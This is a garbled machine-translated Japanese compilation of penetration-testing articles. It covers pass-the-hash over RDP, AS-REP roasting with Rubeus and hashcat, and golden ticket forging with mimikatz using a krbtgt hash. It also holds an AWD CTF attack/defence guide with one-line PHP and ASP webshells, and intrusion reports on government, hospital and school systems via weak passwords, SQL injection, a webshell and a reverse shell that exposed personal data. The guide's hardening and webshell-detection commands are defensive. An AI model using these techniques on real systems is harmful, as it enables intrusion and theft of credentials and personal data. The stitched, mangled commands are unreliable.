2014年、MicrosoftはKB2871997パッチをリリースしました。これは、主にWindows 8.1およびWindows Server 2012 R2の強化されたセキュリティ保護メカニズムをカバーしています。したがって、Windows 7、Windows 8、Windows Server 2008R2、Windows Server 2012などの過去には、このパッチを更新して、上記のセキュリティ保護メカニズムを取得することもできます。

——3——3————335433333333333————————3354 ——3——3————335433333333333————————3354

制限付き管理者RDPモードリモートデスクトップクライアントサポート:

この更新の前に、RDPログインは、ユーザーがユーザー名とパスワードを提供した後にのみアクセス可能なインタラクティブログインでした。この方法でRDPホストにログインすると、ユーザーの資格情報がRDPホストのメモリに配置され、ホストが脅かされている場合、盗まれる可能性があります。このアップデートにより、RDPはネットワークログインをサポートできます。ここでは、ユーザーの既存のログイントークンの認証をRDPアクセスのために渡すことができます。このログインタイプを使用して、ユーザーの資格情報がRDPサーバーに保存されていないことを確認します。したがって、資格情報を保護します

上記の説明を通して、このモードはRDPを使用してログインしたユーザーの資格情報を保護することであることを理解できます。ネットワーク検証のログイン方法により、RDPサーバーはユーザーの資格情報を保存しません。

使用

Win8.1およびWin2012R2以上の制限された管理モードモードをサポートすると、Win8.1およびWin2012R2がデフォルトで有効になっています。

条件:クライアントは制限付き管理モードモードをサポートし、サーバーは制限付き管理モードモードを有効にします

Win2012R2が手元にないため、ここでは2つのWindows10がリモートデスクトップでハッシュを渡すために使用されます

最初にNTLMハッシュxcnb52eps132804.pngを取得します

Mimikatzを使用してNTLM Hash(Privilege:3:Debugを最初に挿入してデバッグ許可を有効にします。Sekurlsa3:3:pth /usekurlsa3:3:pth /user:administrator /domain:192.168.226.137 /NTLM:9C3767903480E04C089090D27123EAF9 '/RUN:MSTSC.EXE /RECTINTEDADMIN'

/ドメインコンピューター名またはIPを指定します

ここebf2sj3w4ik2805.pngでは、常に資格情報を必要とすることを選択しないでください

制限付き管理モードd4fjkluzezp2806.png

レジストリを介して開きます(0がオン、1はオフ、完全な管理者の特権が必要です)、そしてRDP接続が再度実行されます 'hklm \ system \ currentControlset \ control \ lsa' /v無効化

リモートホストで制限付き管理モードが有効になった後、RDP接続はh0zqvqmj3pv2807.pngに成功しました

ハッシュがメモリyddty01oujy2808.pngに注入されているのを見ることができます

次に、管理者アカウントK0UAZを使用したため、リモートデスクトップを使用してハッシュをパスするには、ターゲットのローカル管理者許可のみが必要です。

ただし、リモートデスクトップユーザーに参加するだけで、Administratrosグループに参加していない場合、このメカニズムは制限された管理者向けであるため、成功しません。

as-repロースト

原理

AS_REPで、KDCはユーザーNTLMハッシュによって暗号化されたセッションキーを返します(セッションキーは、クライアントとTGS間の通信のセキュリティを確保するために使用されます)mwinmgcbmap2809.png

RC4_HMAC暗号化モードでは、同じ暗号化プロセスを使用してプレーンテキストパスワードを暗号化し、暗号化の結果を比較して、ciphertextが同じかどうかを評価してブラスト結果を決定できます。

上記の図に返されたユーザーによって暗号化されたユーザーNTLMハッシュのセッションキー暗号文は、AES256を介して暗号化されていますが、ここで暗号化ダウングレード方法を使用することもできます(以下のKerberoastは、AES暗号化とRC4_HMACタイプのデータを返すためにAES暗号化とRC4_HMACタイプのデータを返します。 as_repでciphertextの暗号化方法がRC4_HMACであるように、プレーンテキストパスワードをクラックできるようにします。

ただし、ここで解決する必要がある問題の1つは、認証前の問題です。 AS_REQでは、クライアントハッシュ暗号化を備えたタイムスタンプが生成され、KDCに送信されます。 KDCは、暗号文を復号化することによりタイムスタンプを取得します。復号化が成功し、タイムスタンプが5分以内にある場合、事前認証は成功します。 KDCは、この方法を使用して、ブルートフォースの亀裂を効果的に防ぐために、クライアントのアイデンティティを検証します。yfppzmderba2810.png ln2ql0vs0j52811.png

AS_REQがデフォルトで2回送信される理由については、Harmj0yの記事から得られた説明は、クライアントが事前にサポートされている暗号化方法を知らないということです(クライアントは、事前認証のタイムスタンプの暗号化方法を知らないことに固有のものだと思います)。

したがって、事前認証をオフにすることで、徹底的な爆破を実行して、プレーンパスワードama041lyasw2812.pngをクラックすることができます

事前認証を終了した後、2番目のAS_REQはありません。唯一のAS_REQには、NTLMハッシュ暗号化タイムスタンプCiphertext 3g0jkdf3fvqe2813.pngが含まれません。

使用

LDAPを介してKerberos Prauthentication属性を必要としないドメインユーザーをクエリすることができます

特定のクエリ条件は、useraccountcontrol:1.2.840.113556.1.4.803:=4194304です

ここでルベウスはサンプルrubeus.exe asreproast /nowrap /format:hashcat 0veljxzcn4q2814.pngとして使用されます

Hashcat Decrypt Hashcat -M 18200 Hash.txt Passwords.Dict - Force xxpjw40onln2815.png

Rubeus AsReproast原理分析

トラフィックのワイアシャーク分析を通じて、このモジュールの原則は、LADPを介して属性機能のドメインユーザーを照会し、バッチでAS_REQリクエストパケットを送信し、ハッシュカットブラストに適したフォーマットと出力のためのリターンパケットのNTLMハッシュ暗号化部分を抽出することであることがわかります。

LDAPクエリu2mkwuxtfkv2816.png

サポートされている暗号化タイプはRC4_HMAC kx5wzk5vsce2817.pngのみであることを指定します

返された暗号文は、RC4_HMACを使用して暗号化されています(したがって、徹底的に爆破できます)phikgg5wmbe2818.png

ゴールドノート

機能

DCと通信する必要があります(ASと対話する必要はありませんが、TGSする必要はありませんが、TGSする必要はありません)。暗号化してTGTを生成します。 KRBTGTのNTLM-HASH値を取得した場合、TGTを偽造できますか? KRBTGTはドメインコントローラーでのみ利用可能であるため、ゴールドの資格情報を使用すると、以前にドメインコントローラーでアクセス許可を取得したことがあり、金の資格情報はバックドアとして理解できます。

原理

1。ドメイン名

2。ドメインのSID値

3.ドメインのKRBTGTアカウントパスワードハッシュ

4.偽装されたユーザー名は任意の場合があります(TGTのサービス寿命は20分以内であり、ドメインコントローラーKDCサービスはTGTのユーザーアカウントを確認しません)

Krbtgtのハッシュを取得したら、それを使用してゴールドノートを作成できます

DCSYNCの攻撃方法(以下で説明および練習)を通じてKRBTGTのハッシュを取得したとします1rgq30d0wjq2819.png

条件1:SPNをスキャンしてドメイン名God.org sa4wehbvzxg2820.pngを取得する

条件2:whoami /すべてドメインユーザーSIDを取得し、ドメインSID 3ansv2xpwdt2821.pngの最後の文字列を削除します

条件3:KRBTGTアカウントHASH58E91A5AC358D86513AB24312314061

条件4:Forgeユーザー名管理者

条件

MIMIKATZ KERBEROS:3:GOLDEN FORGED TGTを使用します

ゴールデンチケットデフォルトグループ:

ドメインユーザーSID:S-1-5-21ドメイン-513

ドメイン管理SID:S-1-5-21ドメイン-512

アーキテクチャ管理者SID:S-1-5-21ドメイン-518

エンタープライズ管理者SID:S-1-5-21ドメイン-519(フォレッドルートドメインに鍛造チケットが作成された場合にのみ有効ですが、ADフォレスト管理者の許可に使用/SIDSパラメーターを追加)

グループポリシー作成者の所有者SID:S-1-5-21ドメイン-520

mimikatz.exe 'kerberos:3360golden /domain:god.org /sid3:s-1-5-21-2952760202-1353902439-2381784089 /usersistrator /KRBTGT:58E91A5AC358D86513AB24312314061 /TICKET:K0U.KIRIBI '出口

TIP:は、請求書の有効期間と更新請求書の最大妥当性期間を変更するために、追加/endin:xx /rengingmax:xxを追加できます。 Mimikatzはデフォルトで10年wea4byfkb312822.pngです

生成されたチケットは、他のドメインマシンにインポートできます。または、TGTを /PTTを使用してメモリに直接注入できます。

最初にチケットキャッシュKlist Purge 02u3lygbzh52823.pngをクリアします

次に、mimikatzkerberos:ptt k0u.kiribi nwfnto00x3k2824.png経由でキャッシュされた請求書に注入します

KLISTはチケットキャッシュをチェックし、偽造されたTGTを見ることができます

0#awd

とは何か

0.1#AWD競争システムの紹介

「時折の防御モード| AWD(防衛での攻撃)」は、CTFコンペティションのいくつかの主要なゲームモードの1つです。

このモードでは、各チームには、通常、セキュリティの脆弱性を含む特定のサービスまたはアプリケーションを実行するのと同じ初期環境(GameBoxと呼ばれます)を持っています。参加チームは、ポイントを取得するためにフラグを取得するために、相手のチームのサービスのセキュリティの脆弱性を活用する必要があります。同時に、参加チームは、他のチームによって攻撃されて獲得されるのを防ぐために、彼らに対して防御するために独自のサービスの脆弱性にパッチを当てる必要があります。

主な特徴は、実用性、現実のタイミング、対立を強調し、競争チームの浸透と保護能力を包括的に考慮することです。

0.2#競合の全体的なプロセス

試合前の準備セッション:通常、SSHまたはVNCユーザー名とパスワードに割り当てられた複数のターゲットサーバー、および関連するIPおよびその他の情報を割り当てます

セキュリティ補強リンク:ターゲットマシンサーバーに自分でログインし、30分間のセキュリティ強化を実行する必要があります(ソースコードのバックアップ/弱いパスワードの変更/コード監査と修理/脆弱性の修理など)

無料攻撃リンク:セキュリティ強化時間が経過した後、無料攻撃リンクが開始されます。他のチームのターゲットサーバー(弱いパスワード/Web脆弱性/システムの脆弱性など)を攻撃して追加ポイントを獲得し、対応するチームはポイントを失います。

1#競争環境

通常、競争環境には3つの状況があります。

ハイブリッドターゲットマシンの状況:操作およびメンテナンスマシンWindows10+攻撃機Kali Linux+ Win Target Machine Windows Server 2003/2008/2012またはWindows 7+ Linux Target Machine Centos7.xまたはUbuntu 16.04/17.01/20.04

純粋なLinuxターゲットマシンの状況:操作およびメンテナンスマシンWindows10+攻撃機Kali Linux+ Linux Target Machine Centos7.xまたはUbuntu 16.04/17.01/20.04

純粋なWindowsターゲットマシンの状況:操作およびメンテナンスマシンWindows10+攻撃機Kali Linux+ Win Target Machine Windows Server 2003/2008/2012またはWindows7

2#セキュリティ補強プロセス(防衛)

2.0#基本補強プロセス

2.0.1 Windows補強プロセス

バックアップファースト:Webソースコード、データベース

445強化、ファイアウォールまたはIP高度なセキュリティポリシーを有効にします

システムログ監査機能をオンにします

ゲストアカウントを無効にし、ファイル共有を閉じます

スタートアップアイテムのコンテンツが制御可能であることを確認してください

リモートアクセスコントロールへの接続の数を制限する:ローカルグループポリシーエディターでは、コンピューター構成- 管理テンプレートウィンドウコンポーネントリモットデスクトップサービスリモートデスクトップセッションホストコネクションリミット接続の数を拡大します

ツールを使用して、キーディレクトリファイル:ファイル操作監視、exe、yujian file monitoring.exeを監視します。

PchunterとMonitorを介して検索された悪意のあるコードファイル

Webディレクトリ環境で関連する疑わしいファイルの検索:JPG/PNG/RAR、属性の表示、解凍、ファイルの内容の表示

NTFSはディスクをスキャンして、隠された交換フローデータを見つけます

システム内のすべてのアカウント情報を見つけ、非管理者アカウントを禁止します。

Webサイト管理者のアクセスパス、デフォルトのパスワード、およびデータベースパスワードを変更する

WAFスクリプトをインストールしてWebサイトを保護し、他の脆弱性を禁止します

2.0.2 Linux補強プロセス

バックアップ最初:Webソースコード、データベース

システムパスワード、統一されたチームパスワードを変更します

.bash_historyを介して履歴コマンドを検索し、痕跡を見つけます

スケジュールされたタスクを表示:Crontab -L;スケジュールされたタスクの編集:Crontab -E

/etc/init.d/rc.localのスタートアップサービスに例外があるかどうかを確認してください

スクリプトを使用して、プロセスの監視、ディレクトリ監視、トラフィック監視を可能にします

Webサイトのパスワード、サイト管理者パスの変更

システム強化:IPTABLE

2.1#基本情報コレクション

防御する場合、情報収集も非常に重要です。 sayingにあるように、「あなた自身とあなたの敵を知ってください、あなたは100の戦いで決して敗北することはありません。」

2.1.1 Linuxマシン情報を明確にする

UNAME -A //システム情報

ps -aux //クエリプロセス情報

ps -ef | GREPプロセス名//指定されたプロセスをフィルタリングします

ID //ユーザーIDとグループIDを表示するために使用されます

cat /etc /passwd //ユーザーの状況を表示します

LS/HOME///ユーザーの状況を確認してください

/-type d -perm -002 //書き込み可能なディレクトリチェックを見つけます

ifconfig //Linuxでネットワークカード情報を表示します

2.1.2 Windowsマシン情報を明確にする

hoami /all //Windowsでユーザーの詳細を表示します

ipconfig /all //Windowsでネットワークカード情報を表示します

2.1.3オープンポートを表示

Netstat //アクティブ接続を表示します

netstat -ano/-a //ポートステータスを確認します

netstat -Anp //ポートを表示します

Firewall-CMD -Zone=public - remove-port=80/tcp –permanent //ポートを閉じます

ファイアウォール-CMD –RELOAD //ファイアウォールを再起動します

2.1.4デフォルトのパスワード(弱いパスワード)変更

弱いパスワード攻撃を防ぐために、mysqlパスワードはデフォルトでルートです、phpstudyデフォルトパスワード123456

他のデフォルトのパスワード管理者、TOP100、TOP1000などがあります。

特に、WebアプリケーションPassWDユーザー名のバックグラウンドパスワードの変更//SSHパスワードの変更

mycms@localhost=password( '18ciweufhi28746')のパスワードを設定します。 //mysqlパスワードの変更

find/var/www/html -path '*config*' //構成ファイルでパスワード資格情報を見つける

2.1.5ローカルフラグを見つけます

GREP -R 'Flag'/var/www/html ///Linux:Webディレクトリでフラグを見つける

findstr /s /i 'flag' *

2.1.6 Ping無効の設定

echo '1'/proc/sys/net/ipv4/icmp_echo_ignore_all //一時的にping禁止を有効にします

echo '0'/proc/sys/net/ipv4/icmp_echo_ignore_all //ping禁止を閉じます

2.2#Webセキュリティ強化

2.2.1バックアップソースコード

ソースコードを変更する際の問題を防ぐ、または攻撃された当事者がソースコードを削除して準備する

圧縮ソースコード:

TAR -CVF Web.tar/var/www/html

zip -q -r web.zip/var/www/html

ソースコードを解凍します:

tar -xvf web.tar -c/var/www/html

unzip web.zip -d/var/www/html

バックアップソースコード:

MV web.tar /tmp

MV web.zip /home /xxx

ソースコードをアップロードしてダウンロードします:

scp username@servername:/path/filename/tmp/local_destination //サーバーからローカルに単一のファイルをダウンロード

scp/path/local_filename username@servername:/path //ローカルからサーバーへの単一のファイルから

scp -r username@servername:remote_dir//tmp/local_dir //ディレクトリ全体をサーバーからローカルにダウンロードする

scp -r /tmp /local_dir username@servername3360remote_dir //ディレクトリ全体をローカルからサーバーにアップロードします

2.2.2読み取り専用権限を設定

Webファイルの読み取り専用および実行権限を設定します(PHPなどの動的言語には実行権限が必要です)

chmod 0555/var/www/html/*

Chmod 0555 /var/www/html/*.php

Webルートディレクトリで読み取り専用および実行権限を設定します

Chmod 0555/var/www/html

ファイルの所有者とグループを変更して、厳密なアクセス許可を設定します

chown -r root:root/var/www/html///所有者をroot:rootまたはhttpd:httpd(推奨)として設定します

chown -r apache:apache/var/www/html///apacheが/var/www/htmlを持っていることを確認してください

2.2.3構成.htaccess

PHPファイルの実行を禁止するために.htaccess構成ファイルを使用します

ディレクトリ '/var/www/html/upload' //指定されたディレクトリの後続の指示がディレクトリに適用されます

Options -EXECCGI -INDEXES //CGI実行およびディレクトリインデックス(ディスプレイディレクトリコンテンツリスト)ディレクトリの関数は無効です。

AllowOverrideなし//.htaccessファイルを使用してこのディレクトリのサーバーの構成を上書きすることができません。

removehandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml

RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml

//これらの2つの命令指定されたファイル拡張子のプロセッサとタイプを削除します。

//この場合、これらのディレクティブは、Apacheの処理リストからPHP関連の拡張機能とサーバー側インクルージョン(SSI)ファイルタイプを削除します。

PHP_FLAGエンジンオフ//このディレクティブは、PHPエンジンフラグ(エンジン)をオフに設定するため、このディレクトリでPHPスクリプトを実行する機能を無効にします。

filesmatch '。+\。ph(p [3457]?| t | tml)$'

すべてから否定します

/filesmatch //これらの3行のコマンドは、正規表現を使用して、php、phpp、php3、pht、php4、php5、php7、shtmlで終了するファイルを一致させ、アクセス許可を設定してすべてを拒否します

/ディレクトリ

2.2.4 PHPパラメーターセキュリティ構成

最初にPHP構成ファイルを見つけます

/etc/php/{version }/php.ini

高リスク関数を無効にします

disable_functions=dl、exec、system、passthru、popen、proc_open、pcntl_exec、shell_exec、mail、imap_open、imap_mail、putenv、ini_set、apache_setenv、symlink、link

Open_basedirを構成します(指定された領域にユーザーアクセスファイルのアクティビティ範囲を制限します)

open_basedir=/var/www/html

魔法の引用を無効にする(SQL注入を防ぐために外部ソースデータを自動的に逃がす)

MAGIC_QUOTES_GPC=OFF

PHP擬似プロトコルを閉じます

Allow_url_fopen=off

Allow_url_include=off

PHPを再起動します

sudoサービスphp7.0-fpm再起動

sudo systemctl再起動php7.0-fpm.service

2.3#データベースセキュリティ補強

2.3.1 mysql補強

弱いパスワード攻撃を防ぐために、mysqlパスワードはデフォルトでルートです、phpstudyデフォルトのパスワード123456

デフォルトのパスワードを使用しないで、それを複雑に変更し、Web環境との接続を確認しないでください

設定ローカル127.0.0.1アカウントログインのみを許可します:bind-address=127.0.0.1を変更します。 secure_file_priv=nullを構成ファイルに追加します

ログ監査機能をオンにします:general_log_file=path

MySQLデータベースが最も一般的に使用されているため、基本的な攻撃と防御のほとんどはMySQLデータベースコマンドの使用に使用されます

指定されたデータベースをバックアップします:

mysqldump –u username –pパスワードdatabasename target.sql

すべてのデータベースをバックアップします:

mysqldump –All -database all.sql

データベースをインポートします。

mysql –u username –pパスワードデータベースfrom.sql

mysqlの攻撃と防御については、この記事を読むことができます:https://blog.zgsec.cn/archives/26.html

mysqlデフォルト構成ファイルパス:

c: \\プログラムファイル\ mysql \ mysqlserver 5.1 \ my.ini //windows

/etc/my.cnf //linux

/etc/mysql/my.cnf //linux

secure_file_privパラメーター(ログ関数の対応するディレクトリ)を変更する

secure_file_priv=''

MySQL構成を過負荷

フラッシュ特権

MySQLサービスを再起動します

sudoサービスmysql再起動

sudo systemctlはmysqlを再起動します

2.3.2 mssql補強

不要なアカウントを削除します

SQLServerユーザーパスワードセキュリティ

ユーザーによると、アカウント共有は避けてください

データベースユーザーに必要な最小許可を割り当てます

ネットワークアクセス制限

SQLServerログイン監査

SQLServerセキュリティインシデント監査

ロギング関数を構成します

2.4#リモートコントロール補強

2.4.1 SSH安全補強

IPログインを制限する方法

sudo nano/etc/ssh/sshd_config //ルート許可を使用してSSH構成ファイルを編集

Allowusers username@192.168.0.100 //次の行を見つけて編集して、希望のIPアドレスに設定されていることを確認します

ルートリモートログインを無効にします

sudo nano/etc/ssh/sshd_config //ルート許可を使用してSSH構成ファイルを編集

permitrootlogin no //permitrootlogiを「いいえ」に設定します

ユーザーとグループごとにSSHログインを制限します

sudo nano/etc/ssh/sshd_config //ルート許可を使用してSSH構成ファイルを編集

Allowusers testuser //SET TestuserはSSHにログインできるようにします

Allowusers testuser@192.168.1.100 //セットでは、192.168.1.100マシンのみがTestuserアカウントでSSHにログインできます

Groups Testを許可//ユーザーグループホワイトリストを設定します

//AllowusersとAllowgroupが同時に指定されている場合、両方のオプションと一致するユーザーがSSHログインでなければならないことに注意する必要があります。

SSHサービスを再起動します

Sudo Service sshd Restart

Sudo SystemCtl Restart Sshd.Service

2.4.2 RDPリモートログインセキュリティ補強材

デフォルトのアカウントを削除し、新しいユーザーを手動で追加します。

ステップ1:Win + Rを押して[実行]ダイアログボックスを開き、secpol.mscを入力して[OK]をクリックします

ステップ2:これに移動します:ローカルポリシーユーザー許可割り当ての割り当て、次にダブルクリックして「リモートデスクトップサービスを介してログインを許可」を開きます

ステップ3:このウィンドウにリストされている管理者とリモートデスクトップユーザー(またはコンピューター上の他のユーザーまたはグループ)を削除する

ステップ4:その後、「ユーザーまたはグループの追加」をクリックし、リモートデスクトップアクセスを許可するユーザーを手動で追加します。

デフォルトのRDPポート番号を変更します:

ステップ1:[実行]ダイアログボックスを開き、Regeditを入力して[OK]をクリックします

ステップ2:hkey_local_machine \ system \ currentControlset \ control \ターミナルサーバー\ winstations \ rdp-tcpを開き、下にスクロールしてportnumberを見つけてダブルクリックします

ステップ3:「小数」を選択し、設定するポート番号を変更し、[OK]をクリックします。

2.5#緊急対応

2.5.1クエリプロセススレッド

Netstat

ps -aux

netstat -apt

2.5.2プロセスを殺します

Kill -9 PID //Linuxで

Windows上のtaskkill /f /pid pid //

2.5.3 WebShellファイルを検索

Find/var/www/html -name *.php -mmin -5 //過去5分間に変更されたファイルを表示

./-name '*.php' |を見つけますxargs wc -l | sort -u //最短の行のファイルを見つけます。これは一般的にトロイの木馬です

grep -r -include=*。php '[^a -z] eval($ _ post'/var/www/html //キーワードを含むphpファイルを確認する

find/var/www/html -type f -name '*.php' | xargs grep 'eval(' | more //Linuxシステムでは、Find、Grep、Xargsコマンドの組み合わせを使用して、指定されたディレクトリ(/var/www/html)で.php拡張機能を持つすべてのファイルを見つけ、文字列'' eval( '' inこれらのファイルで 'evalを検索し、結果をパージに表示したときの結果をpagineしているときにパージーのパージをpagingで実行します。

2.5.4馬を殺すためにチェック

コマンドを使用して自動的に検索して削除することもできます

ps -aux | grep www-data | grep -v grep | awk '{print $ 2}' | Xargs Kill -9

次に、サービスを再起動します

サービスPHP-FPM再起動

2.5.5リバウンドシェルを殺します

プロセスを表示する古いルール

PS -EF

Px -aux

ps -aux | grep www-data

www-data pormissions /bin /shはNCである可能性が高いことに注意してください

それから古い注文があります

ps -auxを殺す| grep www-data | grep apache2 | awk '{$ 2を印刷}'

3#無料攻撃(攻撃)

3.0#メインコンテンツ

さまざまなCMSソフトウェアパッケージの最新バージョンが準備されています

スキャンツール:NMAP、Nessus、Metasploitの更新

Scripts POC、Exp

3.1#基本情報コレクション

3.1.1ホスト情報コレクション

NMAP

NAMP -SN 192.168.0.0/24 //セグメントCサバイバルスキャン

httpscan

httpscan.py 192.168.0.0/24 –T 10 //Cセグメントサバイバルスキャン

3.1.2ポートスキャン

NMAP -SV 192.168.0.2 //ホストシステムバージョンをスキャンします

NMAP -SS 192.168.0.2 //ホストの一般的に使用されるポートをスキャン

NMAP -SS -P 80,445 192.168.0.2 //ポートのホスト部分をスキャン

NMAP -SS -P- 192.168.0.2 //ホストのすべてのポートをスキャン

Pythonスクリプト

リクエストをインポートします

範囲のxの場合(2,255):

url='http://192.168.1。{}'。フォーマット(x)

try:

r=requests.post(url)

印刷(url)

:を除く

合格

3.2#外部管理

3.2.0共通システムの脆弱性

MS17-010(Eternal Blue、https://Blog.zgsec.cn/archives/172.htmlを参照)

MySQLはUDFエスカレーション(SQLインジェクションまたはMySQL弱いパスワード)を実行します

MSSQLはシステムコマンド実行(SQLインジェクションまたはMSSQL弱いパスワード)を実行します

SSH弱いパスワードまたはデフォルトのパスワード

PWN(これはAWDコンペティションによって提供される特定のコンテンツに依存します)

3.2.1ミドルウェアの脆弱性

IIS(脆弱性の解決、リモートコードの実行)

Apache(脆弱性を解析)

nginx(脆弱性の解析)

JBoss(CVE-2017-7504/CVE-2017-12149/CVE-2015-7501)

mysql(弱いパスワード)

Tomcat(弱いパスワードのGetShell)

WebLogic(CVE-2020-2551/CVE-2020-2555/CVE-2020-2883)

Springboot(不正アクセスの脆弱性とRCEの脆弱性、https://Blog.zgsec.cn/archives/129.htmlを参照してください)

3.2.2統合サービス環境における脆弱性

WampServer

XampServer

3.2.3 cmsの脆弱性エクスプロイト

CMSの最新バージョンと、対応する脆弱性POCとEXPを収集します。ここでは、CMSの一部のみがリストされています。

ASPCMS

DEDECMS

dicuz

Drupal

empirecms

eshop

FINECMS

Joomla

ランプ

Metainfo

phpcms

phpwind

qibocms

SEACM

semcms

thinkphp

wolfcms

WordPress

Zabbix

バックアップファイルブラスト:7kbscanなどのディレクトリスキャンツールを使用して、Webシステムを爆破する

3.2.4 WebShellのアップロード

トロイの木馬についての一般的なことわざ

php:php @eval($ _ post ['pass']);php eval($ _ get ['pass']);

ASP:%eval request( 'pass')%

aspx:%@ page言語='jscript

0x00はじめに

は、特定の場所でHVVを終了したばかりで、ミニプログラムは、低コストで使いやすい情報システムとして、HVVの新しいタイプの重要なブレークスルーターゲットになりました。次のケースはすべて、誰もが学ぶためのミニプログラムからのものです。

0x01ケース1特定の政府問題システム

1。弱いパスワードは背景

に入ります

ミニプログラムをクリックし、市民サービスを入力し、ミニプログラムドメイン名をキャッチし、管理者の背景に直接アクセスします。次のページはFastAdminフレームワークです。

image-20230804233808809

常に落とし穴がありました。ログインするとパスワードが無効です。あきらめたいときは、前の手順に戻ってログインしていることを思い出させてください。疑問に思います。システムがログインした後にトークンが更新されることがわかりました。これにより、前のトークンが次のログインに使用されます。そうしないと、パスワードが無効になります。したがって、ネットワークまたはシステム自体に遅延があり、その結果、ログイン操作が正しいトークンで正常に使用されないようになります。この問題を発見したとき、私はadmin/123456によって背景にログインしました。

image-20230804233928487

約20,000の市民情報と数百の管理者アカウントが含まれており、すべての管理者アカウントのアカウント名とパスワードはAdmin/123456です。県レベルの都市HVVのケース4システムに似ています|コレクションへの不正アクセス。 (くそ)

image-20230804234620409

2。 SQL注入はどこにでもあります

フロントエンドのビジネスオフィスには、次のパッケージがあります。デバッグは閉じられておらず、データベースアカウント名とパスワードが公開されます。このSQL注入はあまりにも明白ですが、現時点ではデータベースアカウントの秘密の喜びにあり、SQL注入をしませんでした。ただし、このデータベースは外部ではなく、ローカルでのみ接続することができますが、非常に迷惑です。

image-20230804234900245

image-20230804235223957

管理者をバックグラウンドで表示するときに、遅延インジェクションが存在します

image-20230804235333429

image-20230804235520250

3。コマンドの実行は、サーバーとデータベースを削除します

FastAdminであるため、シェルを取得するには多くの方法があります。今回は、オンラインコマンドプラグインの脆弱性を使用して、1.1.0でのみ利用可能なPHP WebShellに書き込みます。

ただし、このシステムは2人で開いており、プラグイン用の場所はまったくありません。オンラインでプラグインのスプライシングページを検索しました。

ディレクトリは: /addon?ref=addtabsです

プラグインのディレクトリは /addon /command?ref=addtabsである必要がありますが、ページは存在しません。ルートが設定されていないと思ったので、チームメイトがプラグインを直接コマンドする記事、つまりディレクトリは /コマンドですか?ref=addtabsを見つけるまで、これを禁止しました。

image-20230805000548485

クリックしてAPIドキュメントを1回クリックして生成します。ファイルはPHPで、タイトルはトロイの木馬として書かれています。 Ice Scorpion Horseのみがそれをテストできます。以前にも同様のケースがありました。

image-20230805000747580

トロイの木馬をうまく接続します

image-20230805000951036

マレーシアのNCを循環させて電力を増やすことにより、シェルはクラウドサーバーにリバウンドされ、ルート許可を取得します。

image-20230805001343057

マレーシアは、SQLステートメントを実行するときにエラーと文字化けコードを報告します。

データベースアカウントのパスワードをまだ覚えています。 SQL実行ページのPHPファイルを自分で記述することにより、データベースに接続しました。データベースの権限を取得したことを証明します。

image-20230805001445813

コードは次のとおりです。

HTML

タイトルはMySQLステートメント/タイトルを実行します

/頭

H1EXECUTE MYSQLステートメント/H1

form method='post' action=''

textarea name='sql_statement' rows='5' cols='50 'プレースホルダー=' mysqlステートメント '/textareaを入力してください

br

入力タイプ='送信'値='実行'

/形状

?php

//フォームが送信されたかどうかを確認します

if($ _server ['request_method']==='post'){

//ユーザーが入力したMySQLステートメントを取得します

$ sql_statement=$ _post ['sql_statement'];

//mysqlデータベースに接続します

$ host='localhost';

$ username='';

$ password='';

$ database='';

$ connection=mysqli_connect($ host、$ username、$ password、$ database);

//mysqlクエリを実行します

$ result=mysqli_query($ connection、$ sql_statement);

//クエリの結果を確認します

if($ result){

//クエリの結果をエコーします

Echo 'H2クエリ結果: /h2';

while($ row=mysqli_fetch_assoc($ result)){

エコー '';

print_r($ row);

エコー '';

}

} それ以外{

//エラーメッセージを表示します

Echo 'H2エラー: /H2';

エコー「P」。 mysqli_error($ connection)。 '/p';

}

//データベース接続を閉じます

mysqli_close($ connection);

}

/体

/HTML

0x02ケース2郡病院データベース

1.SQLインジェクションにはDBA

が必要です

病院のSQL注入は公開口座登録にあります。ログインすると、登録レコードをクリックして、患者IDでパッケージをキャッチしました。

image-20230805001938526

単一の引用、エラー順序を追加しました

image-20230805002523985

SQLMapで直接実行できないことがわかりましたが、注射は存在します。 ASP.NETフレームワークを発見することは、相手のシステムがWindowsであることを意味します。

image-20230805002955771

それぞれデータベースMySQL、Oracle、およびMSSQLを指定します。最後に、注入はMSSQL中になくなり、DBA許可です。

image-20230805003357942

xp_cmdshellはコマンドを実行できると思いましたが、残念ながらこれは彼です。私は保護を受けました、そして、私はそれをどのようにセットアップしてもコマンドを実行することができないので、私はターゲットの変更をあきらめました。

0x03ケース3中学校の訪問者システム

1。不正 +情報漏れ

ミニプログラムを開き、パッケージをキャッチし、インタビュー対象者のすべての情報を直接キャプチャします。 1つのインターフェイスはアクセスする権限がありません。

image-20230805003829804

ログインする前のこのようなものなので、ログインすることをお勧めします。

ログインして、アクセスアプリケーションimage-20230805004820411を追加しました

アクセスアプリケーションレコードを表示するときにパッケージをキャッチします

image-20230805004432163

次のリンクをつかみます:app/visitor/getvisitorinfo?viid=1。数百の訪問者情報と訪問者の記録をトラバースすることで入手できます。それは並行して並行していると考えられており、最後に、アクセスが許可されていないことさえ、検証する許可がないことがわかりました。

image-20230805004401655

0x04ケース4見逃した

このケースは非常に面白いです。私はミニプログラムを探していました。 1つの単語で小さなプログラムを表示しました。注意深く見ずに入力し始めました。郡の病院でもあります。

これは、流行中に核酸試験の予約のために特別に作成されたミニプログラムである必要があります。

1。並列オーバーリーチ +情報漏れ

image-20230805005119179

ログインするときにIDカード名が一致しない場合、検証に合格することはできません。つまり、内部のIDカード情報はすべて現実です。ログインすると、ユーザーIDを使用して機能を探すことに慣れていて、医療訪問者リストをクリックしてパケットをキャッチします。

image-20230805005822924

電話、ID、名前、性別を見つけました

image-20230805010022930

IDを変更して、他の人の情報を表示します。

2。並列オーバーライドSQL注入

習慣的に単一の引用符を追加し、エラーを直接報告します。ページにはSQLエラーが表示されます。これは対応するものではありませんか? EDU-SQLインジェクションケースは、最後の要約を共有しています。 SQL注入が並列オーバーステップで存在する可能性が高いです。しかし、私は間違いを犯し、許可を持っていなかったので、私は停止してあきらめ、将来の修正のためにプラットフォームに引き渡しました。

image-20230805010332476

オリジナルリンク:https://forum.butian.net/share/2400

序文

外部ネットワークでの釣りから内部ネットワークでの移動まで、顧客が承認した攻撃的で防御的なドリルも祝福であることです。攻撃パスが描画されます。フローチャートは、私が描いた攻撃フローチャートに従って説明されます。フローチャートは次のとおりです:报告流程图.png

屋外ネット釣り

最初に、外部ネットワークから関連情報を収集し、WeChatを追加し、カスタマーサービスビジネスに構築する

答えは、トロイの木馬の馬をクリックするように相手を誘導することです。プロセスは次のとおりです:image.png

下の図に示すように、カスタマーサービスが正常に発売されました:image.png

